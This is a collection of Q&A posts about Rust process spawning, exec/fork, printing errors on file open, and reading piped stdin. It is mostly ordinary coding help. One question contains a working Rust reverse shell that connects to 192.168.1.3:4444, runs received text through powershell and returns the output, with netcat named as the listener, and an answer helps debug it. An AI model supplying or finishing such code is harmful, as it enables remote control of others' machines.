From this documentation: https://doc.rust-lang.org/std/process/struct.Command.html
I try to use this on my Windows machine:
#![allow(unused)]
fn main() {
use std::process::Command;
let output = if cfg!(target_os = "windows") {
Command::new("cmd")
.args(["/C", "echo hello"])
.output()
.expect("failed to execute process")
} else {
Command::new("sh")
.arg("-c")
.arg("echo hello")
.output()
.expect("failed to execute process")
};
let hello = output.stdout;
}
It should print "hello" but cargo run prints nothing. I also try mkdir or rm command. It prints error:
thread 'main' panicked at 'failed to execute process: Os { code: 2, kind: NotFound, message: "The system cannot find the file specified." }', src\main.rs:9:14
so far nothing works.
Related
use std::net::TcpStream;
use std::io::*;
use std::io::{self, Write};
use std::str::from_utf8;
use std::process::Command;
const MESSAGE_SIZE: usize = 10;
fn main()
{
let mut stream = TcpStream::connect("192.168.1.3:4444").unwrap();
println!("CONNECTED !!");
loop
{
stream.write(b"[*] >> ").expect("A");
let mut rx_bytes = [0u8; MESSAGE_SIZE];
stream.read(&mut rx_bytes).expect("k");
let received = from_utf8(&rx_bytes).expect("valid utf8").to_string();
print!("{}",received);
let output = Command::new("powershell").arg(received).output().expect("failed to execute process"); // Error at .arg(received).
println!("status: {}", output.status);
io::stdout().write_all(&output.stdout).unwrap();
io::stderr().write_all(&output.stderr).unwrap();
let res = from_utf8(&output.stdout).expect("valid utf8").to_string();
stream.write(res.as_bytes());
}
}
ERROR:-
thread 'main' panicked at 'failed to execute process: Error { kind: InvalidInput, message: "nul byte found in provided data" }', .\main.rs:20:72
note: run with RUST_BACKTRACE=1 environment variable to display a backtrace
PS:- I am using netcat as the server.
The first thing you should probably do (if you haven't already) is to look at your incoming data:
println!("{:x?}", "azAZ\0X09".as_bytes()); // [61, 7a, 41, 5a, 0, 58, 30, 39]
Then you can determine why there is a null byte in there and what needs to be done about it.
If I am to fork a new process to run /bin/sh (or any other interactive commands e.g. fdisk); How can I pipe the system stdin to the process to make it an interactive shell, while printing out stdout?
use std::process::Command;
use std::io::{self, Write};
let process = Command::new("/bin/sh").spawn();
match process.spawn() {
Ok(child) => {
if let Some(stdout) = child.stdout {
let reader = BufReader::new(stdout);
for line in reader.lines() {
println!("{}", line.unwrap());
}
}
}
Err(e) => eprintln!("Err: {:?} ", e),
}
The goal is for the end-user to be able to interactively work with the newly forked process.
I want to write the following in Rust. I cannot figure out how to do this with Command API.
if [[ -z "${DEPLOY_ENV}" ]]; then
$old_program "$#"
else
$new_program "$#"
fi
The Command API is cross-platform and not all platforms have a concept of exec and fork. However, the standard library does provide the exec() method for Commands on Unix platforms via the std::os::unix::process::CommandExt extension trait.
use std::process::Command;
use std::os::unix::process::CommandExt;
fn main() {
let args: Vec<_> = std::env::args_os().skip(1).collect();
let err = Command::new("new_program")
.args(&args)
.exec();
println!("Error: {}", err);
}
Alternatively, you can use the fork crate:
use fork::{fork, Fork};
fn main() {
// keeps the same arguments of course
match fork() {
Ok(Fork::Parent(child)) => println!("Continuing execution in parent process, new child has pid: {}", child),
Ok(Fork::Child) => println!("I'm a new child process"),
Err(_) => println!("Fork failed"),
}
}
or the exec crate:
use exec::Command;
fn main() {
let args: Vec<_> = std::env::args_os().skip(1).collect();
let err = Command::new("new_program")
.args(&args)
.exec();
println!("Error: {}", err);
}
Or if you're feeling up to it, call them more directly with the nix or libc crates.
You can get the process' arguments via std::env::args_os and pass them to a child process via std::process::Command::args.
For example:
use std::process::Command;
use std::env::args_os;
fn main() {
Command::new("cmd")
.args(args_os())
.output()
.expect("cmd exited with error code");
}
I want to open a file, but in the case that my program fails to open it I want to print an error message to the user and exit early.
use std::fs::File;
fn main() {
let file = "something.txt";
let file = match File::open(file) {
Ok(val) => val,
Err(e) => {
//err_string is not a real function, what would you use?
println!("failed to open file: {}", e.err_string());
return;
}
};
}
you can just do:
println!("failed to open file: {}", e);
it will convert it to a string automatically
Print an error message to the user and exit early:
1. You may use File::open("something.txt")?, try the following example (No panic, just print an error message):
use std::fs::File;
use std::io::prelude::*;
fn main() -> std::io::Result<()> {
let mut file = File::open("something.txt")?;
let mut contents = String::new();
file.read_to_string(&mut contents)?;
assert_eq!(contents, "Hello, world!");
Ok(())
}
Output (on error):
Error: Os { code: 2, kind: NotFound, message: "No such file or directory" }
Using .expect("msg"): Panics if the value is an Err, with a panic message including the passed message, and the content of the Err (developer friendly, since shows the file name and line number):
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = File::open("something.txt").expect("failed to open file");
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
thread 'main' panicked at 'failed to open file:
Os { code: 2, kind: NotFound, message: "No such file or directory" }',
src/main.rs:17:20
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
No panic, just print an error message:
use std::fs::File;
use std::io::prelude::*;
fn main() {
let mut file = match File::open("something.txt") {
Ok(val) => val,
Err(e) => {
println!("failed to open file: {}", e);
return;
}
};
let mut contents = String::new();
file.read_to_string(&mut contents)
.expect("failed to read file");
assert_eq!(contents, "Hello, world!");
}
Output (on error):
failed to open file: No such file or directory (os error 2)
I know how to read the command line arguments, but I am having difficulties reading the command output from a pipe.
Connect a program (A) that outputs data to my Rust program using a pipe:
A | R
The program should consume the data line by line as they come.
$ pwd | cargo run should print the pwd output.
OR
$ find . | cargo run should output the find command output which is more than 1 line.
Use BufRead::lines on a locked handle to standard input:
use std::io::{self, BufRead};
fn main() {
let stdin = io::stdin();
for line in stdin.lock().lines() {
let line = line.expect("Could not read line from standard in");
println!("{}", line);
}
}
If you wanted to reuse the allocation of the String, you could use the loop form:
use std::io::{self, Read};
fn main() {
let stdin = io::stdin();
let mut stdin = stdin.lock(); // locking is optional
let mut line = String::new();
// Could also `match` on the `Result` if you wanted to handle `Err`
while let Ok(n_bytes) = stdin.read_to_string(&mut line) {
if n_bytes == 0 { break }
println!("{}", line);
line.clear();
}
}
You just need to read from Stdin.
This is based on an example taken from the documentation:
use std::io;
fn main() {
loop {
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(len) => if len == 0 {
return;
} else {
println!("{}", input);
}
Err(error) => {
eprintln!("error: {}", error);
return;
}
}
}
}
It's mostly the docs example wrapped in a loop, breaking out of the loop when there is no more input, or if there is an error.
The other changes is that it's better in your context to write errors to stderr, which is why the error branch uses eprintln!, instead of println!. This macro probably wasn't available when that documentation was written.
use std::io;
fn main() {
loop {
let mut input = String::new();
io::stdin()
.read_line(&mut input)
.expect("failed to read from pipe");
input = input.trim().to_string();
if input == "" {
break;
}
println!("Pipe output: {}", input);
}
}
OUTPUT:
[18:50:29 Abhinickz#wsl -> pipe$ pwd
/mnt/d/Abhinickz/dev_work/learn_rust/pipe
[18:50:46 Abhinickz#wsl -> pipe$ pwd | cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.0 secs
Running `target/debug/pipe`
Pipe output: /mnt/d/Abhinickz/dev_work/learn_rust/pipe
You can do it in a pretty snazzy and concise way with rust's iterator methods
use std::io::{self, BufRead};
fn main() {
// get piped input
// eg `cat file | ./program`
// ( `cat file | cargo run` also works )
let input = io::stdin().lock().lines().fold("".to_string(), |acc, line| {
acc + &line.unwrap() + "\n"
});
dbg!(input);
}